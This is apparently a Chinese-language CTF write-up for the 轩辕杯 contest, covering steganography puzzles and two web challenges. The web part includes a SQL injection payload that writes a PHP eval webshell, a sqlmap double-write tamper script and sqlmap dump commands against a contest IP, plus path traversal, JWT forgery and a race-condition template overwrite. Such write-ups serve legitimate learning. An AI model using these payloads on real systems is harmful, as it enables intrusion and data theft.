轩辕杯wp复盘

前言

​ 轩辕杯misc惨败而归,痛定思痛,决定要好好猛学一下msic

Misc

​ 取证题放取证博客里

哇哇哇瓦

​ 附件图片

​ 随波逐流一把梭,可以嗦出前半段

5d1b4ed27d3e42911dd71336a95de6f4

​ 010查看后发现压缩包,打开后是一个hint,给了密钥和提示。

643241fb98491e28e4710dc2479e55be

​ 仔细观察图片发现图片右下角存在像素块。

image-20250522135608373

​ 到这里就不知道怎么做了,看了wp之后更加觉得离谱。这样可以提取出一个倒着的PK。

image-20250522140605599

​ 总结一下,stegsolve过一遍的话要注意文件可能会倒过来。(吃了很多亏了)

image-20250524160615706

image-20250524163547228

​ 用脚本倒叙后为这样

image-20250524212305669

​ 得到后半段

image-20250524212645402

数据审计

​ 很狗的题,txt、png、wav我都找到了,只有pdf,不知道里面还能藏xss……

​ 这里就记录一下

image-20250524213014943

隐藏的邀请

​ docx文件,做法就是换成压缩包,然后能找到Cyyy.xml,里面有十六进制数据

image-20250524213448219

​ 然后,居然是这个字符和文件名异或…….

image-20250524214957350

​ 然后是Data Matrix 条码,在线网站解析一下即可(又长见识了)

image-20250524215245074

音频的秘密

​ wav,一听就知道是摩斯,在线网站可以嗦一下,发现是假的

image-20250525001828071

​ 那么音频里是没有思路了,试试隐写

image-20250525002155381

​ 建议低中高都试试,这里是低

image-20250525002506221

​ 爆破可以多试试

image-20250525003517380

得到图片后,RGB可以嗦

image-20250525003658305

得到

1
qzvk{Ym_LOVE_MZMP_30vs6@_nanmtc_q0i_J01_1}

显然不是flag,结合压缩包里的key,猜到是维吉尼亚

image-20250525004027312

Web

ezsql

知识点:空格绕过和双写绕过、sqlmap进阶使用、sql打马

​ sql注入,fuzz一下发现过滤了空格,然后其实还有双写select

​ 这里介绍两种写法,第一种是跑sqlmap,第二种打马

打马

​ 首先是打马,先问字段,到了4就失败了,所以是三

1
id=1/**/order/**/by/**/3

image-20250527093100433

​ 然后打马

1
i-1/**/union/**/seselectlect/**/1,2,'<?=eval($_REQUEST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'

image-20250527094307178

​ 之后可以找到db.sql,读出来有flag

image-20250527094621734

sqlmap

​ 这里需要绕过空格和双写,双写需要自己去找脚本,这里我贴上,然后双写的字典需要自己修改,改一下keywords就好,这里只有select被waf,只填select就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
   	"ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND",
        "AS", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE",
        "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT",
        "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP",
        "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT",
        "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE",
        "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM",
        "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE",
        "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO",
        "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED",
        "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON",
        "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING",
        "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX",
        "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW",
        "ROWS", "SAVEPOINT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES",
        "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING",
        "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"
    优化的双写绕过,顺序插入并判断是否新组成过滤单词。
    例如:SELECT 插入位置为 3 时为 SELSELECTECT,会生成黑名单中的 ELSE 导致误判。
    此处通过检查确保生成的字符串不包含其他敏感词。

    示例:
    >>> tamper('select 1 or 2 ORDER')
    'selorect 1 oorr 2 OorRDER'
    """
    keywords = [
        "SELECT"
    ]

    retVal = payload

    warnMsg = "当前关键字列表如下,请注意修改:\n"
    warnMsg += "%s" % keywords
    singleTimeWarnMessage(warnMsg)

    if payload:
        for key in reversed(keywords):
            index = keywords.index(key)
            num = 1
            check = True
            while check:
                if num >= len(key):
                    singleTimeWarnMessage('无法绕过双写关键字列表')
                    return retVal
                check = False
                repStr = "%s%s%s" % (key[:num], key, key[num:])
                for t in keywords[:index]:
                    if re.search(t, repStr) and not re.search(t, key):
                        check = True
                        break
                num += 1
            retVal = re.sub(key, repStr, retVal, flags=re.I)
    return retVal

​ 然后是pyload,–tamper 后接的是sqlmap带的绕过脚本

1
python sqlmap.py -u "http://27.25.151.26:31596/?id=1" -p id --random-agent --fresh-queries --no-cast --dbs --tamper 'space2comment.py' --tamper 'doublewrite.py'

image-20250527100418631

​ 查表

1
python sqlmap.py -u "http://27.25.151.26:31596/?id=1" -p id --random-agent --fresh-queries --no-cast -D xuanyuanCTF --tables --tamper 'space2comment.py' --tamper 'doublewrite.py'

image-20250527101949091

​ 查列

1
python sqlmap.py -u "http://27.25.151.26:31596/?id=1" -p id --random-agent --fresh-queries --no-cast -D xuanyuanCTF -T info --columns --tamper 'space2comment.py' --tamper 'doublewrite.py'

image-20250527102752014

​ 查数据

1
python sqlmap.py -u "http://27.25.151.26:31596/?id=1" -p id --random-agent --fresh-queries --no-cast -D xuanyuanCTF -T info -C content --dump --tamper 'space2comment.py' --tamper 'doublewrite.py'

image-20250527102617638

ezweb

知识点:弱密码、文件读取(环境源码都读读)、JWT伪造、条件竞争、ssti

​ 源代码发现提示,猜测密码为123456789,用户名fly33

image-20250527104231516

​ 进入图书预览,有三本书一个中间人攻击,一个条件竞争,一个jwt,最下方又图书上传,提示说需要管理员身份才能传,所以大体思路就出来了,伪造jwt获取管理员身份,然后文件上传。

​ 现在问题是jwt的密钥在哪?

​ 我们看到文件上传这段源代码,可以知道book_path这个参数可以进行文件读取

image-20250528102442042

image-20250528101002251

​ 尝试读取/etc/passwd

image-20250528102931527

​ 读取JWT密钥

image-20250528185612226

​ 这里有个非预期解,读/proc/1/environ可以直接读到flag,感觉没啥用处

1
Linux 中的 /proc/1/environ 文件包含 PID 为 1 的进程的环境变量,该进程通常是 init 进程。这些变量由 null 字符分隔,并且该文件反映进程启动时的环境。

​ 得到key之后尝试伪造Jwt

image-20250528192538804

​ 然后就是文件上传。发现有ssti的内容,这里还是回头读一下源码,看看能不能打白盒

image-20250528192908546

​ /app/app.py得到源码

image-20250528193308065

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt

app = Flask(__name__, template_folder='templates')  # 创建 Flask 应用并指定模板文件夹
app.config['TEMPLATES_AUTO_RELOAD'] = True  # 启用模板自动重载功能
SECRET_KEY = os.getenv('JWT_KEY')  # 从环境变量中获取 JWT 密钥
book_dir = 'books'  # 设置书籍存储目录
users = {'fly233': '123456789'}  # 用户数据字典(测试用)

# 生成 JWT 令牌函数
def generate_token(username):
    # 构建载荷,包含用户名
    payload = {
        'username': username
    }
    # 使用 HMAC-SHA256 算法和密钥对载荷进行编码,生成令牌
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token

# 解码 JWT 令牌函数
def decode_token(token):
    try:
        # 尝试使用密钥和 HMAC-SHA256 算法解码令牌
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        # 如果令牌过期,返回 None
        return None
    except jwt.InvalidTokenError:
        # 如果令牌无效,返回 None
        return None

# 主页路由
@app.route('/')
def index():
    token = request.cookies.get('token')  # 从请求的 cookie 中获取令牌
    if not token:  # 如果没有令牌,重定向到登录页面
        return redirect('/login')
    payload = decode_token(token)  # 对令牌进行解码
    if not payload:  # 如果解码失败,重定向到登录页面
        return redirect('/login')
    username = payload['username']  # 从载荷中获取用户名
    # 获取书籍目录下所有以 .txt 结尾的文件名
    books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
    # 渲染主页模板,传入用户名和书籍列表
    return render_template('./index.html', username=username, books=books)

# 登录路由
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':  # 如果是 GET 请求
        # 渲染登录页面模板
        return render_template('./login.html')
    elif request.method == 'POST':  # 如果是 POST 请求
        username = request.form.get('username')  # 从表单获取用户名
        password = request.form.get('password')  # 从表单获取密码
        # 验证用户名和密码是否匹配
        if username in users and users[username] == password:
            token = generate_token(username)  # 生成令牌
            # 创建响应对象,返回成功消息
            response = make_response(jsonify({
                'message': 'success'
            }), 200)
            # 将令牌设置为 cookie,仅 HTTP 可访问,路径为根目录
            response.set_cookie('token', token, httponly=True, path='/')
            return response
        else:
            # 返回错误消息,用户名或密码错误
            return {'message': 'Invalid username or password'}

# 读取书籍路由
@app.route('/read', methods=['POST'])
def read_book():
    token = request.cookies.get('token')  # 从请求的 cookie 中获取令牌
    if not token:  # 如果没有令牌,重定向到登录页面
        return redirect('/login')
    payload = decode_token(token)  # 对令牌进行解码
    if not payload:  # 如果解码失败,重定向到登录页面
        return redirect('/login')
    book_path = request.form.get('book_path')  # 从表单获取书籍路径
    full_path = os.path.join(book_dir, book_path)  # 构造完整路径
    try:
        # 打开并读取书籍文件内容
        with open(full_path, 'r', encoding='utf-8') as file:
            content = file.read()
        # 渲染阅读页面模板,传入书籍内容
        return render_template('reading.html', content=content)
    except FileNotFoundError:
        # 如果文件不存在,返回 404 错误
        return "文件未找到", 404
    except Exception as e:
        # 捕获其他异常,返回 500 错误
        return f"发生错误: {str(e)}", 500

# 上传书籍路由
@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')  # 从请求的 cookie 中获取令牌
    if not token:  # 如果没有令牌,重定向到登录页面
        return redirect('/login')
    payload = decode_token(token)  # 对令牌进行解码
    if not payload:  # 如果解码失败,重定向到登录页面
        return redirect('/login')
    if request.method == 'GET':  # 如果是 GET 请求
        # 渲染上传页面模板
        return render_template('./upload.html')
    # 检查当前用户是否为管理员
    if payload.get('username') != 'admin':
        # 如果不是管理员,返回脚本提示权限不足,并重定向到主页
        return """
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        """
    file = request.files['file']  # 从请求中获取上传的文件
    if file:  # 如果文件存在
        book_path = request.form.get('book_path')  # 获取书籍路径
        file_path = os.path.join(book_path, file.filename)  # 构造文件保存路径
        if not os.path.exists(book_path):  # 如果指定路径不存
            # 返回 400 错误,文件夹不存在
            return "文件夹不存在", 400
        file.save(file_path)  # 保存文件

        # 打开并读取文件内容
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
            # 定义敏感字符模式
            pattern = r'[{}<>_%]'
            # 检查内容中是否包含敏感字符
            if re.search(pattern, content):
                os.remove(file_path)  # 删除文件
                # 返回脚本提示检测到 SSTI 攻击,并重定向到主页
                return """
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                """
        # 重定向到主页
        return redirect(url_for('index'))
    # 如果没有选择文件,返回 400 错误
    return "未选择文件", 400

​ sstiban了{}那显然是没有注入的可能了。

观察到upload路由里在检测waf的时候到有个os.remove,用于删除文件,这里就可以打条件竞争了,我们上传reading.html文件,对/app/templates/reading.html进行覆盖,然后利用条件竞争在html被删掉之前去读取/read的返回值

​ 这里我们需要爆破两个,一个是/read,一个是上传文件的

image-20250528214825223

image-20250528214856565

image-20250528214018440

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计